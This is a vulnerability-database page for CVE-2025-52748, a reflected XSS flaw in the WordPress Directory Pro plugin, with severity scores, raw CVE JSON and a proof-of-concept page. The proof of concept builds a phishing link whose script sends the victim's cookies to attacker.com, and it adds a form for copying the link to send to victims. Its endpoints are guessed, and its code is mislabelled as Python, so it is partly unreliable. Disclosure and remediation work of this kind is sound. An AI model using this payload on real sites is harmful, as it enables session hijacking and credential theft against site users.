Security Vulnerability Report
中文
CVE-2025-52748 CVSS 7.1 HIGH

CVE-2025-52748

Published: 2025-10-22 15:15:45
Last Modified: 2026-04-15 00:35:42

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Directory Pro directory-pro allows Reflected XSS.This issue affects Directory Pro: from n/a through <= 2.5.5.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Directory Pro <= 2.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-52748 Reflected XSS PoC for WordPress Directory Pro Plugin --> <!-- Target: WordPress site with Directory Pro plugin <= 2.5.5 --> <!-- Attack Type: Reflected XSS --> <!DOCTYPE html> <html> <head> <title>CVE-2025-52748 PoC</title> </head> <body> <h2>CVE-2025-52748 - Directory Pro Reflected XSS PoC</h2> <!-- Malicious URL that exploits the XSS vulnerability --> <p>Malicious URL:</p> <code id="maliciousUrl"></code> <script> // Construct the malicious URL targeting Directory Pro plugin // Replace 'TARGET_URL' with the actual WordPress site URL const targetUrl = 'TARGET_URL'; // e.g., 'https://example.com' // XSS payload - can be customized based on the vulnerable parameter const xssPayload = '<script>alert("XSS - CVE-2025-52748");document.location="https://attacker.com/steal?cookie="+document.cookie</script>'; // Common vulnerable endpoints in Directory Pro const vulnerableEndpoints = [ '/directory-pro/search/', '/directory/', '/?s=', '/?directory_search=', '/?dp_search=' ]; // Generate malicious URL const maliciousUrl = targetUrl + vulnerableEndpoints[0] + '?q=' + encodeURIComponent(xssPayload); document.getElementById('maliciousUrl').textContent = maliciousUrl; // Display the link document.write('<p><a href="' + maliciousUrl + '" target="_blank">Click to test (in safe environment)</a></p>'); // Alternative: Direct fetch-based PoC console.log('XSS Payload:', xssPayload); console.log('Full URL:', maliciousUrl); </script> <!-- Social Engineering Component --> <p>Social Engineering Attack Vector:</p> <form id="attackForm"> <label>Attacker-controlled link (send to victim):</label><br> <input type="text" id="attackUrl" size="80" readonly> <button type="button" onclick="copyUrl()">Copy URL</button> </form> <script> document.getElementById('attackUrl').value = maliciousUrl; function copyUrl() { const copyText = document.getElementById('attackUrl'); copyText.select(); document.execCommand('copy'); alert('URL copied to clipboard'); } </script> <!-- Impact Description --> <h3>Potential Impact:</h3> <ul> <li>Session hijacking - steal authentication cookies</li> <li>Credential theft - overlay fake login forms</li> <li>Malware distribution - inject malicious scripts</li> <li>Phishing - redirect to fake pages</li> <li>Defacement - modify page content</li> </ul> <h3>Remediation:</h3> <p>Update Directory Pro plugin to version 2.5.6 or later</p> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-52748", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:44.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Directory Pro directory-pro allows Reflected XSS.This issue affects Directory Pro: from n/a through <= 2.5.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/directory-pro/vulnerability/wordpress-directory-pro-plugin-2-5-5-cross-site-scripting-xss-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}